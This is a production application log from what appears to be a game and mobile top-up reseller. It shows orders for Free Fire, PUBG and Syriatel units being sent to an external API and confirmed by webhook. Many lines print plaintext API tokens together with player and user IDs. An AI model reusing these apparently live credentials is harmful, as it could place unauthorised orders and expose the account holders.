[2026-03-24 13:42:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-rDqJ-1774348777","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:42:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:42:03] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":178678} 
[2026-03-24 13:42:03] production.INFO: Order updated successfully. Order ID: 178678, Status: completed  
[2026-03-24 13:42:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-rDqJ-1774348777","status":"completed","codes_count":0} 
[2026-03-24 13:42:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 13:42:36] production.INFO: Constructing job for order: 178679  
[2026-03-24 13:42:38] production.INFO: Handling job for order: 178679  
[2026-03-24 13:42:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:42:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:42:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=4667f4a0-04e6-4957-b193-d75eb2284f4e&Player_ID=13815266923  
[2026-03-24 13:42:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=4667f4a0-04e6-4957-b193-d75eb2284f4e&Player_ID=13815266923","has_body":false} 
[2026-03-24 13:42:39] production.INFO: Operation sent successfully {"operation_id":163601,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-7lfj-1774348959","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 13:42:39"}},"processed_data":{"order_number":"ORD-7lfj-1774348959","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 13:43:16] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-7lfj-1774348959","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:43:16] production.INFO: Processed webhook data (normalized) {"id":"ORD-7lfj-1774348959","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:43:16] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:43:16] production.INFO: SendAcceptReject: Notification queued {"user_id":600,"notification_type":"order_approved","reference_id":178679} 
[2026-03-24 13:43:16] production.INFO: Order updated successfully. Order ID: 178679, Status: completed  
[2026-03-24 13:43:16] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-7lfj-1774348959","status":"completed","codes_count":0} 
[2026-03-24 13:43:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 13:43:41] production.INFO: Constructing job for order: 178680  
[2026-03-24 13:43:42] production.INFO: Handling job for order: 178680  
[2026-03-24 13:43:42] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:43:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:43:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=d69b7551-6c90-499c-b47d-0e4183dd1f7b&Player_ID=14621642833  
[2026-03-24 13:43:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=d69b7551-6c90-499c-b47d-0e4183dd1f7b&Player_ID=14621642833","has_body":false} 
[2026-03-24 13:43:43] production.INFO: Operation sent successfully {"operation_id":163602,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jrE7IL-1774349023","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 13:43:43"}},"processed_data":{"order_number":"ORD-jrE7IL-1774349023","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 13:44:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"uQ0lTIemu7w2pImPDMz0v7qlOUGkr1QZ","execution_time":"2026-03-24 13:44:04"} 
[2026-03-24 13:44:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"uQ0lTIemu7w2pImPDMz0v7qlOUGkr1QZ","execution_time":"2026-03-24 13:44:04","total_operations":3,"sites_count":1} 
[2026-03-24 13:44:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"uQ0lTIemu7w2pImPDMz0v7qlOUGkr1QZ","execution_time":"2026-03-24 13:44:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639","ORD-jrE7IL-1774349023"]} 
[2026-03-24 13:44:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"uQ0lTIemu7w2pImPDMz0v7qlOUGkr1QZ","execution_time":"2026-03-24 13:44:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:44:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"uQ0lTIemu7w2pImPDMz0v7qlOUGkr1QZ","execution_time":"2026-03-24 13:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 13:44:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uQ0lTIemu7w2pImPDMz0v7qlOUGkr1QZ","execution_time":"2026-03-24 13:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:44:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uQ0lTIemu7w2pImPDMz0v7qlOUGkr1QZ","execution_time":"2026-03-24 13:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jrE7IL-1774349023","operation_id":163602} 
[2026-03-24 13:44:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uQ0lTIemu7w2pImPDMz0v7qlOUGkr1QZ","execution_time":"2026-03-24 13:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:44:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"uQ0lTIemu7w2pImPDMz0v7qlOUGkr1QZ","execution_time":"2026-03-24 13:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 13:44:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"uQ0lTIemu7w2pImPDMz0v7qlOUGkr1QZ","execution_time":"2026-03-24 13:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 13:44:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"uQ0lTIemu7w2pImPDMz0v7qlOUGkr1QZ","execution_time":"2026-03-24 13:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:44:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-jrE7IL-1774349023","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:44:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-jrE7IL-1774349023","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:44:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:44:18] production.INFO: SendAcceptReject: Notification queued {"user_id":600,"notification_type":"order_approved","reference_id":178680} 
[2026-03-24 13:44:18] production.INFO: Order updated successfully. Order ID: 178680, Status: completed  
[2026-03-24 13:44:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-jrE7IL-1774349023","status":"completed","codes_count":0} 
[2026-03-24 13:44:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 13:45:04] production.INFO: Executing GetProducts task...  
[2026-03-24 13:45:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 13:45:04] production.INFO: Executing GetProducts task...  
[2026-03-24 13:45:06] production.INFO: async() رجع: true  
[2026-03-24 13:45:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 13:45:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 13:45:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 13:45:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 13:45:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 13:45:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 13:45:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 13:45:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 13:45:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 13:45:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 13:45:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 13:45:33] production.INFO: Constructing job for order: 178681  
[2026-03-24 13:45:34] production.INFO: Handling job for order: 178681  
[2026-03-24 13:45:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:45:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:45:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=f770639d-0dfd-4a40-b203-d434e125db0f&Player_ID=52372275057  
[2026-03-24 13:45:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=f770639d-0dfd-4a40-b203-d434e125db0f&Player_ID=52372275057","has_body":false} 
[2026-03-24 13:45:35] production.INFO: Operation sent successfully {"operation_id":163603,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-7Pi9-1774349135","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:45:35"}},"processed_data":{"order_number":"ORD-7Pi9-1774349135","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 13:45:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-7Pi9-1774349135","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:45:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-7Pi9-1774349135","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:45:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:45:45] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":178681} 
[2026-03-24 13:45:45] production.INFO: Order updated successfully. Order ID: 178681, Status: completed  
[2026-03-24 13:45:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-7Pi9-1774349135","status":"completed","codes_count":0} 
[2026-03-24 13:45:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 13:46:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"lAtnxj7GGV1TbYEITRQOI8OHOobH1N8J","execution_time":"2026-03-24 13:46:02"} 
[2026-03-24 13:46:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"lAtnxj7GGV1TbYEITRQOI8OHOobH1N8J","execution_time":"2026-03-24 13:46:02","total_operations":2,"sites_count":1} 
[2026-03-24 13:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"lAtnxj7GGV1TbYEITRQOI8OHOobH1N8J","execution_time":"2026-03-24 13:46:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639"]} 
[2026-03-24 13:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"lAtnxj7GGV1TbYEITRQOI8OHOobH1N8J","execution_time":"2026-03-24 13:46:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"lAtnxj7GGV1TbYEITRQOI8OHOobH1N8J","execution_time":"2026-03-24 13:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 13:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"lAtnxj7GGV1TbYEITRQOI8OHOobH1N8J","execution_time":"2026-03-24 13:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"lAtnxj7GGV1TbYEITRQOI8OHOobH1N8J","execution_time":"2026-03-24 13:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"lAtnxj7GGV1TbYEITRQOI8OHOobH1N8J","execution_time":"2026-03-24 13:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 13:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"lAtnxj7GGV1TbYEITRQOI8OHOobH1N8J","execution_time":"2026-03-24 13:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 13:46:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"lAtnxj7GGV1TbYEITRQOI8OHOobH1N8J","execution_time":"2026-03-24 13:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:47:50] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 13:47:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 891  
[2026-03-24 13:47:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 13:48:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"WNkT04hAwMizEVKeNtmA5ZnzTJhZww9S","execution_time":"2026-03-24 13:48:03"} 
[2026-03-24 13:48:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"WNkT04hAwMizEVKeNtmA5ZnzTJhZww9S","execution_time":"2026-03-24 13:48:03","total_operations":2,"sites_count":1} 
[2026-03-24 13:48:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"WNkT04hAwMizEVKeNtmA5ZnzTJhZww9S","execution_time":"2026-03-24 13:48:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639"]} 
[2026-03-24 13:48:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"WNkT04hAwMizEVKeNtmA5ZnzTJhZww9S","execution_time":"2026-03-24 13:48:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:48:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"WNkT04hAwMizEVKeNtmA5ZnzTJhZww9S","execution_time":"2026-03-24 13:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 13:48:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WNkT04hAwMizEVKeNtmA5ZnzTJhZww9S","execution_time":"2026-03-24 13:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:48:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WNkT04hAwMizEVKeNtmA5ZnzTJhZww9S","execution_time":"2026-03-24 13:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:48:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"WNkT04hAwMizEVKeNtmA5ZnzTJhZww9S","execution_time":"2026-03-24 13:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 13:48:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"WNkT04hAwMizEVKeNtmA5ZnzTJhZww9S","execution_time":"2026-03-24 13:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 13:48:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"WNkT04hAwMizEVKeNtmA5ZnzTJhZww9S","execution_time":"2026-03-24 13:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:48:35] production.INFO: Constructing job for order: 178682  
[2026-03-24 13:48:36] production.INFO: Handling job for order: 178682  
[2026-03-24 13:48:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:48:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:48:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=975b880e-38de-4436-ae50-14dc7555bdaf&Player_ID=589084795  
[2026-03-24 13:48:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=975b880e-38de-4436-ae50-14dc7555bdaf&Player_ID=589084795","has_body":false} 
[2026-03-24 13:48:37] production.INFO: Operation sent successfully {"operation_id":163604,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NtYsn-1774349316","amount":1.5226124999999999243271986415493302047252655029296875,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 13:48:37"}},"processed_data":{"order_number":"ORD-NtYsn-1774349316","amount":1.5226124999999999243271986415493302047252655029296875,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 13:48:48] production.INFO: Constructing job for order: 178683  
[2026-03-24 13:48:49] production.INFO: Handling job for order: 178683  
[2026-03-24 13:48:49] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:48:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:48:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=52e40d36-9099-4095-84b6-5c4501cf7d33&Player_ID=51724157649  
[2026-03-24 13:48:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=52e40d36-9099-4095-84b6-5c4501cf7d33&Player_ID=51724157649","has_body":false} 
[2026-03-24 13:48:50] production.INFO: Operation sent successfully {"operation_id":163605,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-pHAtR8-1774349329","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:48:50"}},"processed_data":{"order_number":"ORD-pHAtR8-1774349329","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 13:49:09] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-NtYsn-1774349316","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 13:49:09] production.INFO: Processed webhook data (normalized) {"id":"ORD-NtYsn-1774349316","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:49:09] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:49:09] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"order_approved","reference_id":178682} 
[2026-03-24 13:49:09] production.INFO: Order updated successfully. Order ID: 178682, Status: completed  
[2026-03-24 13:49:09] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-NtYsn-1774349316","status":"completed","codes_count":0} 
[2026-03-24 13:49:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 13:49:15] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-pHAtR8-1774349329","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:49:15] production.INFO: Processed webhook data (normalized) {"id":"ORD-pHAtR8-1774349329","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:49:15] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:49:15] production.INFO: SendAcceptReject: Notification queued {"user_id":903,"notification_type":"order_approved","reference_id":178683} 
[2026-03-24 13:49:15] production.INFO: Order updated successfully. Order ID: 178683, Status: completed  
[2026-03-24 13:49:15] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-pHAtR8-1774349329","status":"completed","codes_count":0} 
[2026-03-24 13:49:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 13:50:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"imvHqG2YwUVLhSeXGrTbi0HQ2dZYuUjT","execution_time":"2026-03-24 13:50:03"} 
[2026-03-24 13:50:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"imvHqG2YwUVLhSeXGrTbi0HQ2dZYuUjT","execution_time":"2026-03-24 13:50:03","total_operations":2,"sites_count":1} 
[2026-03-24 13:50:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"imvHqG2YwUVLhSeXGrTbi0HQ2dZYuUjT","execution_time":"2026-03-24 13:50:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639"]} 
[2026-03-24 13:50:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"imvHqG2YwUVLhSeXGrTbi0HQ2dZYuUjT","execution_time":"2026-03-24 13:50:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:50:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"imvHqG2YwUVLhSeXGrTbi0HQ2dZYuUjT","execution_time":"2026-03-24 13:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 13:50:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"imvHqG2YwUVLhSeXGrTbi0HQ2dZYuUjT","execution_time":"2026-03-24 13:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:50:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"imvHqG2YwUVLhSeXGrTbi0HQ2dZYuUjT","execution_time":"2026-03-24 13:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:50:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"imvHqG2YwUVLhSeXGrTbi0HQ2dZYuUjT","execution_time":"2026-03-24 13:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 13:50:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"imvHqG2YwUVLhSeXGrTbi0HQ2dZYuUjT","execution_time":"2026-03-24 13:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 13:50:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"imvHqG2YwUVLhSeXGrTbi0HQ2dZYuUjT","execution_time":"2026-03-24 13:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 13:50:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 13:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 13:50:05] production.INFO: async() رجع: true  
[2026-03-24 13:50:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 13:50:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 13:50:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 13:50:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 13:50:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 13:50:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 13:50:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 13:50:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 13:50:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 13:50:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 13:50:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 13:50:17] production.INFO: Constructing job for order: 178684  
[2026-03-24 13:50:18] production.ALERT: user_id => 1731  
[2026-03-24 13:50:18] production.INFO: Handling job for order: 178684  
[2026-03-24 13:50:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:50:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:50:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/772/params?qty=10000&uuid=8f3e27ad-2f33-4a31-afe9-8183c8302a95&Player_ID=101763082  
[2026-03-24 13:50:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/772/params?qty=10000&uuid=8f3e27ad-2f33-4a31-afe9-8183c8302a95&Player_ID=101763082","has_body":false} 
[2026-03-24 13:50:19] production.INFO: Operation sent successfully {"operation_id":163606,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-niMiZ-1774349419","amount":1.0462819999999999343032186516211368143558502197265625,"status":"processing","product":"Habi","game":"Habi","notes":[],"created_at":"2026-03-24 13:50:19"}},"processed_data":{"order_number":"ORD-niMiZ-1774349419","amount":1.0462819999999999343032186516211368143558502197265625,"status":"processing","product":"Habi","game":"Habi"}} 
[2026-03-24 13:50:41] production.ALERT: user_id => 1731  
[2026-03-24 13:51:17] production.ALERT: user_id => 1771  
[2026-03-24 13:51:46] production.INFO: Constructing job for order: 178685  
[2026-03-24 13:51:49] production.INFO: Handling job for order: 178685  
[2026-03-24 13:51:49] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:51:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:51:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=26d90688-cbb8-4670-8c12-b64f981c7f9e&Player_ID=0938964881  
[2026-03-24 13:51:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=26d90688-cbb8-4670-8c12-b64f981c7f9e&Player_ID=0938964881","has_body":false} 
[2026-03-24 13:51:50] production.INFO: Operation sent successfully {"operation_id":163607,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-i3OqsA-1774349510","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:51:50"}},"processed_data":{"order_number":"ORD-i3OqsA-1774349510","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:51:51] production.INFO: Constructing job for order: 178686  
[2026-03-24 13:51:53] production.INFO: Handling job for order: 178686  
[2026-03-24 13:51:53] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:51:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:51:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=38e2d727-2a5b-4990-be10-148ac630cbcc&Player_ID=52231794026  
[2026-03-24 13:51:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=38e2d727-2a5b-4990-be10-148ac630cbcc&Player_ID=52231794026","has_body":false} 
